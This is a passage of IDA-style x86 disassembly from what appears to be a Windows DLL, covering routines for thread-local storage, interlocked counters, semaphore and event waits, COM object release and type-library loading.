		cmp	dword ptr [ebp-20h], 0FFFFFFFFh
		jz	short loc_69B2D8A3
		test	[ebp-20h], bl
		jz	short loc_69B2D8A3
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_69B2D85C
		or	eax, 0FFFFFFFFh
		jmp	short loc_69B2D8AA
; ---------------------------------------------------------------------------


loc_69B2D8A3:				; CODE XREF: sub_69B2D846+4Bj
					; sub_69B2D846+50j
		mov	ecx, esi
		call	sub_69B18F5A


loc_69B2D8AA:				; CODE XREF: sub_69B2D846+5Bj
		mov	[ebp-28h], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_69B2D8E0
		mov	eax, dword_69B92984
		mov	ecx, dword_69B92178
		lea	ecx, [eax+ecx*4]
		mov	eax, dword_69B929C4
		cmp	eax, ecx
		jnz	short loc_69B2D8D2
		mov	byte_69B92988, 1
		jmp	short loc_69B2D938
; ---------------------------------------------------------------------------


loc_69B2D8D2:				; CODE XREF: sub_69B2D846+81j
		mov	[eax], esi
		add	eax, ebx
		mov	dword_69B929C4,	eax
		jmp	loc_69B2D85C
; ---------------------------------------------------------------------------


loc_69B2D8E0:				; CODE XREF: sub_69B2D846+6Aj
		test	al, 2
		jnz	short loc_69B2D90D
		mov	ecx, lpMem
		mov	edx, dword_69B92174
		lea	edx, [ecx+edx*4]
		mov	ecx, dword_69B9298C
		cmp	ecx, edx
		jnb	short loc_69B2D915
		mov	[ecx], esi
		add	ecx, ebx
		mov	dword_69B9298C,	ecx
		or	eax, 2
		mov	[ebp-28h], eax


loc_69B2D90D:				; CODE XREF: sub_69B2D846+9Cj
		mov	[esi+4], eax
		jmp	loc_69B2D85C
; ---------------------------------------------------------------------------


loc_69B2D915:				; CODE XREF: sub_69B2D846+B5j
		mov	byte_69B92988, 1
		mov	[esi+4], eax
		jmp	short loc_69B2D938
; ---------------------------------------------------------------------------


loc_69B2D921:				; DATA XREF: .text:69B2D94Co
		mov	eax, [ebp-14h]
		mov	eax, [eax]
		mov	eax, [eax]
		xor	ecx, ecx
		cmp	eax, 0C00000FDh
		setz	cl
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_69B2D935:				; DATA XREF: .text:69B2D950o
		mov	esp, [ebp-18h]


loc_69B2D938:				; CODE XREF: sub_69B2D846+1Ej
					; sub_69B2D846+8Aj ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B1853C
		retn	10h
sub_69B2D846	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B2D948	dd 0FFFFFFFFh			dd offset loc_69B2D921
		dd offset loc_69B2D935
; ---------------------------------------------------------------------------


loc_69B2D954:				; DATA XREF: sub_69B2DB17+2Ao
		push	esi
		call	sub_69B19BB4
		push	0FFFFFFFFh
		push	hObject
		mov	esi, eax
		call	ds:WaitForSingleObject	; WaitForSingleObject
		mov	eax, esi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================


; int __fastcall sub_69B2D96E(LONG Value)

sub_69B2D96E	proc near		; CODE XREF: sub_69B192E9+AB40p
					; sub_69B19621+A91Dp
		push	esi
		push	edi
		mov	edi, ecx
		lea	esi, [edi+4]
		push	esi		; Target
		call	sub_69B18980
		push	edi		; Value
		push	offset Target	; Target
		call	ds:InterlockedExchange	; InterlockedExchange
		pop	edi
		mov	[esi], eax
		pop	esi
		retn
sub_69B2D96E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B2DA65


loc_69B2D98C:				; CODE XREF: sub_69B2DA65+4j
					; sub_69B2DA65+1Cj
		push	esi
		mov	esi, ecx
		push	dword ptr [esi+14h]
		push	0
		push	dword ptr [esi+0Ch]
		call	sub_69B1E244
		mov	eax, [esi+0Ch]
		mov	eax, [eax+28h]
		mov	[esi+10h], eax
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_69B2DA65

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2D9A7	proc near		; CODE XREF: sub_69B18C0C+A6E0p
					; sub_69B2DA88+63p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	byte_69B929BD, 0
		jz	locret_69B2DA63
		push	edi
		call	sub_69B1B193
		push	dwTlsIndex
		call	dword_69B92970
		mov	edi, dword_69B92994
		test	edi, edi
		mov	dword_69B929A0,	eax
		mov	eax, dword_69B929B0
		mov	dword_69B92944,	offset sub_69B1E818
		mov	byte_69B929BD, 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], offset dword_69B92994
		jz	short loc_69B2DA4D
		push	ebx
		push	esi


loc_69B2D9FC:				; CODE XREF: sub_69B2D9A7+A2j
		mov	ebx, [edi+0Ch]
		mov	esi, ebx
		and	esi, 0FFFFFFF9h
		jmp	short loc_69B2DA2E
; ---------------------------------------------------------------------------


loc_69B2DA06:				; CODE XREF: sub_69B2D9A7+89j
		mov	ebx, [esi+4]
		dec	dword_69B929B0
		mov	eax, [esi]
		dec	[ebp+var_4]
		mov	ecx, esi
		call	dword ptr [eax+34h]
		mov	eax, [esi]
		mov	ecx, esi
		mov	dword ptr [esi+4], 3
		call	dword ptr [eax+18h]
		mov	eax, ebx
		and	eax, 0FFFFFFF9h
		mov	esi, eax


loc_69B2DA2E:				; CODE XREF: sub_69B2D9A7+5Dj
		cmp	esi, edi
		jnz	short loc_69B2DA06
		push	[ebp+var_8]
		mov	[edi+0Ch], ebx
		push	edi
		mov	byte ptr [edi+18h], 0
		call	sub_69B1E38F
		mov	edi, [eax]
		test	edi, edi
		mov	[ebp+var_8], eax
		jnz	short loc_69B2D9FC
		pop	esi
		pop	ebx


loc_69B2DA4D:				; CODE XREF: sub_69B2D9A7+51j
		mov	eax, [ebp+var_4]
		dec	dword_69B929AC
		and	dword_69B929A0,	0
		mov	dword_69B929B4,	eax
		pop	edi

locret_69B2DA63:			; CODE XREF: sub_69B2D9A7+Cj
		leave
		retn
sub_69B2D9A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2DA65	proc near		; CODE XREF: sub_69B2DBD4+3p
					; sub_69B38A09+643p ...

; FUNCTION CHUNK AT 69B2D98C SIZE 0000001B BYTES

		cmp	dword ptr [ecx+18h], 0
		jnz	loc_69B2D98C
		mov	eax, [ecx+0Ch]
		test	eax, eax
		jz	short locret_69B2DA87
		mov	eax, [eax+28h]
		sub	eax, [ecx+10h]
		cmp	eax, 100h
		ja	loc_69B2D98C

locret_69B2DA87:			; CODE XREF: sub_69B2DA65+Fj
		retn
sub_69B2DA65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2DA88	proc near		; DATA XREF: sub_69B2DB17+34o

var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		dec	dword ptr [esi+30h]
		push	0FFFFFFFFh	; dwMilliseconds
		push	hObject		; hHandle
		call	ds:WaitForSingleObject	; WaitForSingleObject
		xor	ebx, ebx
		cmp	[esi+30h], ebx
		jnz	short loc_69B2DB11
		cmp	[esi+20h], bl
		jnz	short loc_69B2DB11
		cmp	[esi+28h], ebx
		jz	short loc_69B2DABB
		push	ebx
		push	ebx
		push	esi
		call	sub_69B1E244


loc_69B2DABB:				; CODE XREF: sub_69B2DA88+29j
		cmp	[esi+19h], bl
		jz	short loc_69B2DB11
		push	dword_69B929E0
		lea	ecx, [ebp+var_4]
		call	sub_69B18E23
		cmp	[esi+19h], bl
		jz	short loc_69B2DB09
		mov	[esi+19h], bl
		dec	dword_69B9B25C
		push	esi
		setz	byte ptr [ebp+arg_0+3]
		call	sub_69B1B580
		cmp	byte ptr [ebp+arg_0+3],	bl
		jz	short loc_69B2DB09
		call	sub_69B2D9A7
		lea	ecx, [ebp+var_4]
		call	sub_69B1900C
		push	6
		mov	dword ptr [esi+30h], 1
		call	sub_69B18C0C
		mov	[esi+30h], ebx


loc_69B2DB09:				; CODE XREF: sub_69B2DA88+49j
					; sub_69B2DA88+61j
		lea	ecx, [ebp+var_4]
		call	sub_69B1900C


loc_69B2DB11:				; CODE XREF: sub_69B2DA88+1Fj
					; sub_69B2DA88+24j ...
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B2DA88	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2DB17	proc near		; CODE XREF: sub_69B18C0C+A6C6p
		push	esi
		push	dwTlsIndex
		call	dword_69B92970
		push	hObject		; hEvent
		and	dword_69B9B25C,	0
		mov	esi, eax
		mov	byte_69B929BD, 1
		call	ds:ResetEvent	; ResetEvent
		push	esi
		mov	dword_69B92948,	offset loc_69B2D954
		mov	dword_69B92944,	offset sub_69B2DA88
		call	sub_69B1B580
		mov	esi, dword_69B9295C
		test	esi, esi
		mov	eax, Data
		mov	dword_69B92994,	esi
		mov	dword_69B92180,	eax
		jz	short loc_69B2DBBC
		push	edi


loc_69B2DB75:				; CODE XREF: sub_69B2DB17+A2j
		cmp	byte ptr [esi+44h], 0
		jz	short loc_69B2DB81
		push	esi
		call	sub_69B1B580


loc_69B2DB81:				; CODE XREF: sub_69B2DB17+62j
		lea	edi, [esi+0Ch]
		push	edi		; Target
		call	sub_69B18980
		push	esi
		call	sub_69B11E80
		cmp	dword ptr [esi+30h], 0
		mov	[edi], eax
		mov	[esi+4], esi
		mov	byte ptr [esi+18h], 1
		jz	short loc_69B2DBB4
		inc	dword_69B9B25C
		mov	byte ptr [esi+19h], 1
		mov	eax, Data
		add	dword_69B92180,	eax


loc_69B2DBB4:				; CODE XREF: sub_69B2DB17+86j
		mov	esi, [esi+14h]
		test	esi, esi
		jnz	short loc_69B2DB75
		pop	edi


loc_69B2DBBC:				; CODE XREF: sub_69B2DB17+5Bj
		push	hObject		; hEvent
		mov	dword_69B92948,	offset sub_69B19BB4
		call	ds:SetEvent	; SetEvent
		pop	esi
		retn
sub_69B2DB17	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2DBD4	proc near		; CODE XREF: sub_69B38A09+7A9p
					; sub_69B3D622+83p ...
		push	esi
		mov	esi, ecx
		call	sub_69B2DA65
		mov	ecx, esi
		pop	esi
		jmp	sub_69B2D6DB
sub_69B2DBD4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2DBE4	proc near		; CODE XREF: sub_69B19118+A1FEp
					; sub_69B18169+B1C8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		and	edx, 2
		or	edx, [eax+24h]
		or	edx, 4
		mov	[ecx+4], edx
		inc	dword ptr [eax+28h]
		mov	[eax+24h], ecx
		cmp	dword_69B9296C,	0
		mov	ecx, [eax+28h]
		jnz	short locret_69B2DC21
		cmp	ecx, 800h
		jbe	short locret_69B2DC21
		cmp	eax, dword_69B929A0
		jz	short locret_69B2DC21
		push	8
		call	sub_69B18C0C

locret_69B2DC21:			; CODE XREF: sub_69B2DBE4+24j
					; sub_69B2DBE4+2Cj ...
		retn	8
sub_69B2DBE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2DC24	proc near		; CODE XREF: sub_69B2F610+7p
					; sub_69B31521+7p ...
		push	esi
		mov	esi, ecx
		call	sub_69B1818F
		mov	dword ptr [esi], offset	off_69B12188
		push	dwTlsIndex
		call	dword_69B92970
		cmp	dword ptr [eax+2Ch], 0
		mov	ecx, esi
		push	eax
		jnz	short loc_69B2DC50
		push	0
		call	sub_69B2DBE4
		jmp	short loc_69B2DC55
; ---------------------------------------------------------------------------


loc_69B2DC50:				; CODE XREF: sub_69B2DC24+21j
		call	sub_69B19148


loc_69B2DC55:				; CODE XREF: sub_69B2DC24+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B2DC24	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2DC5B	proc near		; CODE XREF: sub_69B38A09+4Ap
					; sub_69B3D622+1Bp ...

arg_0		= dword	ptr  4

		push	esi
		push	dwTlsIndex
		mov	esi, ecx
		call	dword_69B92970
		mov	[esi+0Ch], eax
		xor	ecx, ecx
		lea	eax, [esi+4]
		mov	[eax], ecx
		and	eax, 0FFFFFFFBh
		mov	[esi], ecx
		mov	[esi+14h], eax
		mov	dword ptr [eax+4], 4
		push	dword ptr [esi+0Ch]
		push	ecx
		mov	ecx, [esi+14h]
		call	sub_69B2DBE4
		mov	eax, [esi+0Ch]
		mov	eax, [eax+28h]
		mov	[esi+10h], eax
		mov	eax, [esp+4+arg_0]
		mov	[esi+18h], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_69B2DC5B	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B2DCA5(DWORD dwMilliseconds)

sub_69B2DCA5	proc near		; CODE XREF: sub_69B2DCDC+53p
					; sub_69B2DCDC+74p ...

dwMilliseconds	= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		lea	edi, [esi+24h]
		push	edi		; lpAddend
		call	ds:InterlockedIncrement	; InterlockedIncrement
		cmp	dword ptr [esi+14h], 0
		jle	short loc_69B2DCCE
		push	[esp+8+dwMilliseconds] ; dwMilliseconds
		push	dword ptr [esi+20h] ; hHandle
		call	ds:WaitForSingleObject	; WaitForSingleObject
		test	eax, eax
		jz	short loc_69B2DCD5
		xor	al, al
		jmp	short loc_69B2DCD7
; ---------------------------------------------------------------------------


loc_69B2DCCE:				; CODE XREF: sub_69B2DCA5+12j
		push	edi		; lpAddend
		call	ds:InterlockedDecrement	; InterlockedDecrement


loc_69B2DCD5:				; CODE XREF: sub_69B2DCA5+23j
		mov	al, 1


loc_69B2DCD7:				; CODE XREF: sub_69B2DCA5+27j
		pop	edi
		pop	esi
		retn	4
sub_69B2DCA5	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B2DCDC(DWORD dwMilliseconds)

sub_69B2DCDC	proc near		; CODE XREF: sub_69B18F8A+A473p

dwMilliseconds	= dword	ptr  4

		push	ebx
		push	ebp
		mov	ebx, ecx
		lea	ebp, [ebx+14h]
		cmp	dword ptr [ebp+0], 1
		push	esi
		push	edi
		jz	loc_69B2DD70
		mov	esi, [esp+10h+dwMilliseconds]


loc_69B2DCF3:				; CODE XREF: sub_69B2DCDC+92j
		mov	edi, ds:InterlockedDecrement
		push	ebp		; lpAddend
		call	edi ; InterlockedDecrement
		test	esi, esi
		jg	short loc_69B2DD05
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_69B2DD79


loc_69B2DD05:				; CODE XREF: sub_69B2DCDC+22j
		mov	eax, [ebx+18h]
		jmp	short loc_69B2DD11
; ---------------------------------------------------------------------------


loc_69B2DD0A:				; CODE XREF: sub_69B2DCDC+37j
		cmp	dword ptr [ebp+0], 0
		jle	short loc_69B2DD15
		dec	eax


loc_69B2DD11:				; CODE XREF: sub_69B2DCDC+2Cj
		test	eax, eax
		jg	short loc_69B2DD0A


loc_69B2DD15:				; CODE XREF: sub_69B2DCDC+32j
		test	eax, eax
		jnz	short loc_69B2DD63
		lea	eax, [ebx+10h]
		push	eax		; lpAddend
		call	edi ; InterlockedDecrement
		cmp	esi, 0FFFFFFFFh
		jz	short loc_69B2DD4C
		call	ds:GetTickCount	; GetTickCount
		push	esi		; dwMilliseconds
		mov	ecx, ebx
		mov	edi, eax
		call	sub_69B2DCA5
		test	al, al
		jz	short loc_69B2DD7F
		call	ds:GetTickCount	; GetTickCount
		sub	edi, eax
		lea	esi, [esi+edi-1]
		test	esi, esi
		jg	short loc_69B2DD59
		xor	esi, esi
		jmp	short loc_69B2DD59
; ---------------------------------------------------------------------------


loc_69B2DD4C:				; CODE XREF: sub_69B2DCDC+46j
		push	0FFFFFFFFh	; dwMilliseconds
		mov	ecx, ebx
		call	sub_69B2DCA5
		test	al, al
		jz	short loc_69B2DD7F


loc_69B2DD59:				; CODE XREF: sub_69B2DCDC+6Aj
					; sub_69B2DCDC+6Ej
		lea	eax, [ebx+10h]
		push	eax		; lpAddend
		call	ds:InterlockedIncrement	; InterlockedIncrement


loc_69B2DD63:				; CODE XREF: sub_69B2DCDC+3Bj
		push	ebp		; lpAddend
		call	ds:InterlockedIncrement	; InterlockedIncrement
		cmp	dword ptr [ebp+0], 1
		jnz	short loc_69B2DCF3


loc_69B2DD70:				; CODE XREF: sub_69B2DCDC+Dj
		mov	al, 1


loc_69B2DD72:				; CODE XREF: sub_69B2DCDC+A5j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_69B2DD79:				; CODE XREF: sub_69B2DCDC+27j
		add	ebx, 10h
		push	ebx		; lpAddend
		call	edi ; InterlockedDecrement


loc_69B2DD7F:				; CODE XREF: sub_69B2DCDC+5Aj
					; sub_69B2DCDC+7Bj
		xor	al, al
		jmp	short loc_69B2DD72
sub_69B2DCDC	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B2DD83(DWORD dwMilliseconds)

sub_69B2DD83	proc near		; CODE XREF: sub_69B18BDC+A831p

dwMilliseconds	= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+dwMilliseconds]
		push	ebp
		push	esi
		push	edi
		mov	edi, ecx


loc_69B2DD8D:				; CODE XREF: sub_69B2DD83+88j
		cmp	dword ptr [edi+10h], 0
		jg	short loc_69B2DD9B
		mov	eax, [edi+14h]
		cmp	eax, [edi+1Ch]
		jle	short loc_69B2DE0D


loc_69B2DD9B:				; CODE XREF: sub_69B2DD83+Ej
		lea	ebp, [edi+14h]
		push	ebp		; lpAddend
		call	ds:InterlockedDecrement	; InterlockedDecrement
		test	ebx, ebx
		jg	short loc_69B2DDAE
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_69B2DE11


loc_69B2DDAE:				; CODE XREF: sub_69B2DD83+24j
		mov	eax, [edi+18h]
		jmp	short loc_69B2DDC2
; ---------------------------------------------------------------------------


loc_69B2DDB3:				; CODE XREF: sub_69B2DD83+41j
		cmp	dword ptr [edi+10h], 0
		jg	short loc_69B2DDC1
		mov	ecx, [ebp+0]
		cmp	ecx, [edi+1Ch]
		jl	short loc_69B2DDC6


loc_69B2DDC1:				; CODE XREF: sub_69B2DD83+34j
		dec	eax


loc_69B2DDC2:				; CODE XREF: sub_69B2DD83+2Ej
		test	eax, eax
		jg	short loc_69B2DDB3


loc_69B2DDC6:				; CODE XREF: sub_69B2DD83+3Cj
		test	eax, eax
		jnz	short loc_69B2DE04
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_69B2DDF7
		call	ds:GetTickCount	; GetTickCount
		push	ebx		; dwMilliseconds
		mov	ecx, edi
		mov	esi, eax
		call	sub_69B2DCA5
		test	al, al
		jz	short loc_69B2DE11
		call	ds:GetTickCount	; GetTickCount
		sub	esi, eax
		lea	ebx, [ebx+esi-1]
		test	ebx, ebx
		jg	short loc_69B2DE04
		xor	ebx, ebx
		jmp	short loc_69B2DE04
; ---------------------------------------------------------------------------


loc_69B2DDF7:				; CODE XREF: sub_69B2DD83+4Aj
		push	0FFFFFFFFh	; dwMilliseconds
		mov	ecx, edi
		call	sub_69B2DCA5
		test	al, al
		jz	short loc_69B2DE11


loc_69B2DE04:				; CODE XREF: sub_69B2DD83+45j
					; sub_69B2DD83+6Ej ...
		push	ebp		; lpAddend
		call	ds:InterlockedIncrement	; InterlockedIncrement
		jmp	short loc_69B2DD8D
; ---------------------------------------------------------------------------


loc_69B2DE0D:				; CODE XREF: sub_69B2DD83+16j
		mov	al, 1
		jmp	short loc_69B2DE13
; ---------------------------------------------------------------------------


loc_69B2DE11:				; CODE XREF: sub_69B2DD83+29j
					; sub_69B2DD83+5Ej ...
		xor	al, al


loc_69B2DE13:				; CODE XREF: sub_69B2DD83+8Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_69B2DD83	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2DE1A	proc near		; CODE XREF: sub_69B18381+B099j
					; sub_69B18ED9+A549j ...
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		push	0		; Value
		lea	ebx, [edi+24h]
		push	ebx		; Target
		call	ds:InterlockedExchange	; InterlockedExchange
		mov	esi, eax
		test	esi, esi
		jle	short loc_69B2DE4D
		push	0		; lpPreviousCount
		push	esi		; lReleaseCount
		push	dword ptr [edi+20h] ; hSemaphore
		call	ds:ReleaseSemaphore	; ReleaseSemaphore
		test	eax, eax
		jnz	short loc_69B2DE5B


loc_69B2DE41:				; CODE XREF: sub_69B2DE1A+2Fj
		push	ebx		; lpAddend
		call	ds:InterlockedIncrement	; InterlockedIncrement
		dec	esi
		jnz	short loc_69B2DE41
		jmp	short loc_69B2DE5B
; ---------------------------------------------------------------------------


loc_69B2DE4D:				; CODE XREF: sub_69B2DE1A+15j
		jge	short loc_69B2DE5B
		neg	esi


loc_69B2DE51:				; CODE XREF: sub_69B2DE1A+3Fj
		push	ebx		; lpAddend
		call	ds:InterlockedDecrement	; InterlockedDecrement
		dec	esi
		jnz	short loc_69B2DE51


loc_69B2DE5B:				; CODE XREF: sub_69B2DE1A+25j
					; sub_69B2DE1A+31j ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B2DE1A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2DE5F	proc near		; DATA XREF: .text:off_69B1BBE0o

arg_0		= byte ptr  4

		test	[esp+arg_0], 1
		push	esi
		lea	esi, [ecx-4]
		mov	dword ptr [esi], offset	off_69B1AEB8
		mov	dword ptr [ecx], offset	off_69B1BBE0
		jz	short loc_69B2DE7C
		push	esi
		call	sub_69B1B2B7


loc_69B2DE7C:				; CODE XREF: sub_69B2DE5F+15j
		mov	eax, esi
		pop	esi
		retn	4
sub_69B2DE5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2DE82	proc near		; DATA XREF: .text:69B1F238o
		mov	eax, [ecx]
		jmp	dword ptr [eax+10h]
sub_69B2DE82	endp

; ---------------------------------------------------------------------------
		jmp	sub_69B1900C
; ---------------------------------------------------------------------------
		jmp	sub_69B1948C

; =============== S U B	R O U T	I N E =======================================



sub_69B2DE91	proc near		; DATA XREF: .text:69B1F25Co
		push	0FFFFFFFFh	; dwMilliseconds
		call	sub_69B18BDC
		retn
sub_69B2DE91	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2DE99	proc near		; DATA XREF: .text:69B1B3E4o
		push	esi
		push	dwTlsIndex
		mov	esi, ecx
		call	dword_69B92970
		push	eax
		mov	ecx, esi
		call	sub_69B18F67
		pop	esi
		retn
sub_69B2DE99	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2DEB2	proc near		; CODE XREF: sub_69B15D80+4Bp
					; sub_69B71AFF-5BAACp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		mov	ebx, [esi]
		push	edi
		mov	edi, [esp+0Ch+arg_4]
		test	edi, edi
		jz	short loc_69B2DECA
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+14h]


loc_69B2DECA:				; CODE XREF: sub_69B2DEB2+Fj
		test	ebx, ebx
		mov	[esi], edi
		jz	short loc_69B2DED7
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+18h]


loc_69B2DED7:				; CODE XREF: sub_69B2DEB2+1Cj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B2DEB2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2DEDD	proc near		; CODE XREF: sub_69B3C290+2Bp
					; sub_69B3F305+6Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_69B2DEF0
		mov	eax, [ecx]
		call	dword ptr [eax+18h]
		and	dword ptr [esi], 0


loc_69B2DEF0:				; CODE XREF: sub_69B2DEDD+9j
		pop	esi
		retn	4
sub_69B2DEDD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2DEF4	proc near		; CODE XREF: sub_69B2C8D5+31p
					; sub_69B2C8D5+49p ...

MultiByteStr	= byte ptr -314h
String		= word ptr -210h
var_20E		= word ptr -20Eh
pptlib		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		push	ebx
		mov	ebx, [ebp+arg_10]
		and	dword ptr [ebx], 0
		push	esi
		mov	[ebp+var_4], eax
		mov	esi, 104h
		push	esi		; nSize
		lea	eax, [ebp+MultiByteStr]
		push	eax		; lpFilename
		push	hModule		; hModule
		mov	[ebp+arg_10], 80004005h
		call	ds:GetModuleFileNameA	; GetModuleFileNameA
		push	esi		; cchWideChar
		lea	eax, [ebp+String]
		push	eax		; lpWideCharStr
		push	0FFFFFFFFh	; cchMultiByte
		lea	eax, [ebp+MultiByteStr]
		push	eax		; lpMultiByteStr
		push	0		; dwFlags
		push	0		; CodePage
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		lea	eax, [ebp+String]
		push	eax		; lpString
		call	ds:lstrlenW	; lstrlenW
		mov	ecx, [ebp+arg_4]
		mov	[ebp+eax*2+String], 5Ch
		lea	eax, [eax+eax+2]
		add	ecx, 30h
		mov	[ebp+eax+String], cx
		and	[ebp+eax+var_20E], 0
		mov	eax, [ebp+arg_8]
		and	eax, 3FFh
		jz	short loc_69B2DF8C
		cmp	eax, 9
		jnz	short loc_69B2DFBD


loc_69B2DF8C:				; CODE XREF: sub_69B2DEF4+91j
		lea	eax, [ebp+pptlib]
		push	eax		; pptlib
		lea	eax, [ebp+String]
		push	eax		; szFile
		call	LoadTypeLib
		test	eax, eax
		mov	[ebp+arg_10], eax
		jl	short loc_69B2DFBD
		mov	eax, [ebp+pptlib]
		mov	ecx, [eax]
		push	ebx
		push	[ebp+arg_C]
		push	eax
		call	dword ptr [ecx+18h]
		mov	[ebp+arg_10], eax
		mov	eax, [ebp+pptlib]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B2DFBD:				; CODE XREF: sub_69B2DEF4+96j
					; sub_69B2DEF4+AEj
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		mov	eax, [ebp+arg_10]
		pop	esi
		pop	ebx
		call	sub_69B1B9F6
		leave
		retn	14h
sub_69B2DEF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2DFD1	proc near		; CODE XREF: sub_69B677FE+12p
					; sub_69B67A49+19p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_69B2DFE8
		cmp	[esp+8+arg_8], 0
		jz	short loc_69B2DFE8
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+4]


loc_69B2DFE8:				; CODE XREF: sub_69B2DFD1+8j
					; sub_69B2DFD1+Fj
		mov	esi, [esp+8+arg_0]
		mov	eax, [esi]
		test	al, 1
		jz	short loc_69B2DFFD
		and	eax, 0FFFFFFFEh
		jz	short loc_69B2DFFD
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B2DFFD:				; CODE XREF: sub_69B2DFD1+1Fj
					; sub_69B2DFD1+24j
		movzx	eax, [esp+8+arg_8]
		or	eax, edi
		pop	edi
		mov	[esi], eax
		pop	esi
		retn	0Ch
sub_69B2DFD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2E00B	proc near		; CODE XREF: sub_69B1C300+71D8p
					; sub_69B2E0D4+72p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax+4]
		test	edx, edx
		jz	short loc_69B2E01E
		mov	ecx, [eax+8]
		mov	[edx+8], ecx
		jmp	short loc_69B2E024
; ---------------------------------------------------------------------------


loc_69B2E01E:				; CODE XREF: sub_69B2E00B+9j
		mov	edx, [eax+8]
		mov	[ecx+2Ch], edx


loc_69B2E024:				; CODE XREF: sub_69B2E00B+11j
		mov	ecx, [eax+8]
		test	ecx, ecx
		jz	short loc_69B2E031
		mov	edx, [eax+4]
		mov	[ecx+4], edx


loc_69B2E031:				; CODE XREF: sub_69B2E00B+1Ej
		and	dword ptr [eax+8], 0
		and	dword ptr [eax+4], 0
		retn	4
sub_69B2E00B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2E03C	proc near		; CODE XREF: sub_69B1DBFF+58FEp
					; sub_69B1DBFF+594Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_69B2E061
		xor	edx, edx
		inc	edx
		cmp	[ecx+0Ch], eax
		push	esi
		jle	short loc_69B2E05E
		mov	esi, [ecx+14h]


loc_69B2E052:				; CODE XREF: sub_69B2E03C+20j
		test	esi, edx
		jz	short loc_69B2E064
		inc	eax
		shl	edx, 1
		cmp	eax, [ecx+0Ch]
		jl	short loc_69B2E052


loc_69B2E05E:				; CODE XREF: sub_69B2E03C+11j
		xor	eax, eax


loc_69B2E060:				; CODE XREF: sub_69B2E03C+47j
		pop	esi

locret_69B2E061:			; CODE XREF: sub_69B2E03C+8j
		retn	0Ch
; ---------------------------------------------------------------------------


loc_69B2E064:				; CODE XREF: sub_69B2E03C+18j
		mov	esi, [esp+4+arg_4]
		test	esi, esi
		jz	short loc_69B2E06E
		mov	[esi], eax


loc_69B2E06E:				; CODE XREF: sub_69B2E03C+2Ej
		mov	esi, [esp+4+arg_8]
